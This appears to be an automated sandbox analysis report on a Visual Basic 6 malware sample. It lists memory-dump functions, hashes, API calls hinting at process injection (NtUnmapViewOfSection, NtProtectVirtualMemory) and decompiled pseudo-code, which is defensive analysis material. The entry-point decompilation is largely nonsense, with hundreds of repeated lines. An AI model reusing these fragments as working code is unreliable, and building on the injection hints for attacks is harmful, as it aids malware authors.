Instruction Fuzzy Hash: F80168B0B35B874DEF2565A886503E55711BB03260B8C160F8EA8DA558E364C082C30A

Uniqueness

Uniqueness Score: -1.00%

Function 022972E0, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL ref: 02297300

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 57c26a8d299273f177075b83a0215391ef0352537fd5fc633ab0ccbea79702c4
Instruction ID: cb503b399b9ad6cc53f9ebfad49a52e08fab2b0bfa53767586b6ceb1359ef867
Opcode Fuzzy Hash: 57c26a8d299273f177075b83a0215391ef0352537fd5fc633ab0ccbea79702c4
Instruction Fuzzy Hash: 09F0C0B1E35BC319CF31C5B48A903D95B126A4217431C5E0FCA68EA404D365C1868315

Uniqueness

Uniqueness Score: -1.00%

Function 02296962, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,B6931BD4,B6931BD8,?,B6931BDC,02296524,00000040,B7994E9A), ref: 0229697D

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 61bafae4e5ddd1835715c3353c669981d22110c84bee201c9875955bb04ca8b1
Instruction ID: 6f1d00ae7d7f09060560c7781b329dfd0c332432591134bfa2892b45d106e732
Opcode Fuzzy Hash: 61bafae4e5ddd1835715c3353c669981d22110c84bee201c9875955bb04ca8b1
Instruction Fuzzy Hash: 9DC012E12240002F68048A28CD58C6BB3AA87D5A29B10C32DB8B2222CCCA30EC088036

Uniqueness

Uniqueness Score: -1.00%

Function 0042B339, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0042B339(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				short _v32;
				char _v36;
				char _v40;
				char _v56;
				void* _t21;
				char* _t25;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t40 = _t39 - 0xc;
				 *[fs:0x0] = _t40;
				L00401AF0();
				_v16 = _t40;
				_v12 = 0x401a80;
				_v8 = 0;
				_t21 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x401af6, _t37);
				_push(0x41507c);
				_push(":3:");
				L00401BB0();
				L00401C76();
				_push(_t21);
				_push(0x41507c);
				L00401BB0();
				L00401C76();
				_push(_t21);
				_push( &_v56); // executed
				L00401BB6(); // executed
				_push( &_v56);
				L00401C70();
				L00401C76();
				_t12 =  &_v40; // 0x41507c
				_t25 =  &_v36;
				_push(_t25);
				_push(2);
				L00401BEC();
				L00401C5E();
				_v32 = 0x17e8;
				_push(0x42b40f);
				L00401C82();
				return _t25;
			}

0x0042b33c
0x0042b34b
0x0042b355
0x0042b35d
0x0042b360
0x0042b367
0x0042b376
0x0042b379
0x0042b37e
0x0042b383
0x0042b38d
0x0042b392
0x0042b393
0x0042b398
0x0042b3a2
0x0042b3a7
0x0042b3ab
0x0042b3ac
0x0042b3b4
0x0042b3b5
0x0042b3bf
0x0042b3c4
0x0042b3c8
0x0042b3cb
0x0042b3cc
0x0042b3ce
0x0042b3d9
0x0042b3de
0x0042b3e4
0x0042b409
0x0042b40e

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042B355
__vbaStrCat.MSVBVM60(:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B383
__vbaStrMove.MSVBVM60(:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B38D
__vbaStrCat.MSVBVM60(0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B398
__vbaStrMove.MSVBVM60(0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B3A2
#541.MSVBVM60(00000000,00000000,0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B3AC
__vbaStrVarMove.MSVBVM60(00000000,00000000,00000000,0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B3B5
__vbaStrMove.MSVBVM60(00000000,00000000,00000000,0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B3BF
__vbaFreeStrList.MSVBVM60(00000002,?,|PA,00000000,00000000,00000000,0041507C,00000000,:3:,0041507C,?,?,?,?,00401AF6), ref: 0042B3CE
__vbaFreeVar.MSVBVM60(?,?,00401AF6), ref: 0042B3D9
__vbaFreeStr.MSVBVM60(0042B40F), ref: 0042B409

Strings

|PA, xrefs: 0042B39F, 0042B3C4, 0042B3C7
:3:, xrefs: 0042B37E

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Move$Free$#541ChkstkList
String ID: :3:$|PA
API String ID: 2426267088-836465993
Opcode ID: 1c8e80dae78f84d3eb9d9797a79ed848ba2f854c2cc1169766408646e0f0c164
Instruction ID: 9afe1a36c00626cb2c3aa4f81e4419593468e2ee36f753c81f2849fe908ed15a
Opcode Fuzzy Hash: 1c8e80dae78f84d3eb9d9797a79ed848ba2f854c2cc1169766408646e0f0c164
Instruction Fuzzy Hash: 15112171A40508AADB00FBE1C986EDF7BB8AF04744F50417BB501B61A2EB789A048BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00401CCC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 29%

			_entry_(signed int __eax, signed char __ebx, intOrPtr* __ecx, signed int __edi, signed int __esi, void* __fp0) {
				signed int _t119;
				signed int _t120;
				void* _t121;
				signed int _t122;
				intOrPtr* _t167;
				void* _t409;
				signed int* _t754;
				signed int* _t755;
				intOrPtr* _t756;
				signed int* _t757;
				signed int _t775;
				signed int _t778;
				void* _t781;
				void* _t808;
				void* _t809;
				intOrPtr _t819;
				signed char _t822;
				signed int* _t835;
				void* _t839;

				_t839 = __fp0;
				_t778 = __esi;
				_t775 = __edi;
				_t167 = __ecx;
				_t153 = __ebx;
				_push("VB5!6&*"); // executed
				L00401CC4(); // executed
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax ^ __eax;
				 *__eax =  *__eax + __eax;
				_t119 = __eax + 1;
				 *_t119 =  *_t119 + _t119;
				 *_t119 =  *_t119 + _t119;
				 *_t119 =  *_t119 + _t119;
				 *__ebx =  *__ebx + _t119;
				_t809 = _t808 +  *((intOrPtr*)(_t119 - 0x13));
				asm("fcom dword [ecx-0x64b32a36]");
				_t754 = __esi;
				_t120 = _t119 & 0x0000000f;
				 *_t120 =  *_t120 + _t120;
				 *__ecx =  *__ecx + _t120;
				 *_t120 =  *_t120 + _t120;
				 *__esi =  *__esi + _t120;
				_push(es);
				_push(_t120);
				 *__ecx =  *__ecx + 0x41;
				_t819 =  *__ecx;
				asm("insd");
				if(_t819 != 0) {
					if(_t819 < 0) {
						if(_t819 >= 0) {
							 *_t120 =  *_t120 + _t120;
							asm("int3");
							 *0x0000002B =  *0x0000002B ^ 0x2b;
							_t120 = 0xff;
							asm("salc");
							0x8182d632();
							asm("sbb dh, ch");
							goto 0x1a55;
							asm("cld");
							_t754 = 0x44e62d63;
							_t781 = 0xffffffffbc1e9b45;
							 *0x44e62d63 =  *0x44e62d63 & 0xff;
							_t153 = __ebx + __ebx ^  *(__ecx - 0x48ee309a);
							_t822 = _t153;
							asm("cdq");
						}
						asm("iretw");
						asm("adc [edi+0xaa000c], esi");
						asm("pushad");
						asm("rcl dword [ebx], cl");
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						 *_t120 =  *_t120 + _t120;
						_pop(_t809);
						_t120 = _t120 + 1;
						_t754[0] = _t754[0] + _t167;
						 *_t120 =  *_t120 + _t120;
						 *_t167 =  *_t167 + _t167;
						 *((intOrPtr*)(_t775 + 0x68)) =  *((intOrPtr*)(_t775 + 0x68)) + _t754;
						asm("fs insb");
					}
					asm("fs insb");
				}
				if(_t822 >= 0) {
					 *0x43000501 =  *0x43000501 + _t167;
					asm("outsd");
					asm("outsd");
					if( *0x43000501 >= 0) {
						 *_t167 =  *_t167 + _t153;
						 *_t120 =  *_t120 + _t120;
						_t755 =  &(_t754[0]);
						 *_t167 =  *_t167 + _t120;
						 *((intOrPtr*)(_t809 + _t778 * 2)) =  *((intOrPtr*)(_t809 + _t778 * 2)) + _t167;
						 *_t778 =  *_t778 + _t153;
						_t121 = _t120 +  *[es:ecx] +  *_t167;
						_t755[0x13] = _t755[0x13] + _t121;
						L11:
						_t754 =  &(_t755[0]);
						_t781 = _t781 - 1;
						_push(ds);
						_t122 = _t121 +  *_t167;
						 *_t122 =  *_t122 + _t122;
						 *_t122 =  *_t122 + _t122;
						 *_t778 = _t754 +  *_t778;
						 *_t122 =  *_t122 + _t122;
						 *_t122 =  *_t122 - _t122;
						 *_t122 =  *_t122 + _t122;
						asm("adc [ecx], al");
						 *_t122 =  *_t122 + _t122;
						asm("in eax, 0x1");
						 *_t122 =  *_t122 + _t122;
						 *_t122 =  *_t122 + _t122;
						_t120 = _t122;
						 *_t120 =  *_t120 + _t120;
						L12:
						 *_t120 =  *_t120 + _t120;
						 *((intOrPtr*)(_t120 + 0x101)) =  *((intOrPtr*)(_t120 + 0x101)) + _t167;
					}
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					asm("out dx, eax");
					asm("xlatb");
					_pop(ds);
					_t756 = _t754 + _t754;
					_push(_t756);
					asm("retf 0x2e00");
					asm("adc al, 0x0");
					_t167 = _t756;
					_t120 =  *_t120;
					asm("cpuid");
					_t23 = _t775;
					_t775 = _t778;
					_t778 = _t23;
					if (( *_t120 & 0x001e417e) >= 0) goto L14;
					_t754 = 0x1800a761;
				}
				asm("sbb [eax], ch");
				_t121 = _t120 + 1;
				_t755 = _t754 + _t754;
				if(_t755 < 0) {
					goto L11;
				}
				 *_t775 =  *_t775 + _t153;
				asm("invalid");
				_push(cs);
				_t754 = _t755 + _t167;
				_push(_t153);
				_t120 = _t121 - 0x19ae2e00;
				_t167 = _t167 + _t120;
				goto 0x37;
				if(_t167 >= 0) {
					goto L12;
				}
				asm("out dx, al");
				 *_t778 =  *_t778 + _t167;
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				_push(cs);
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
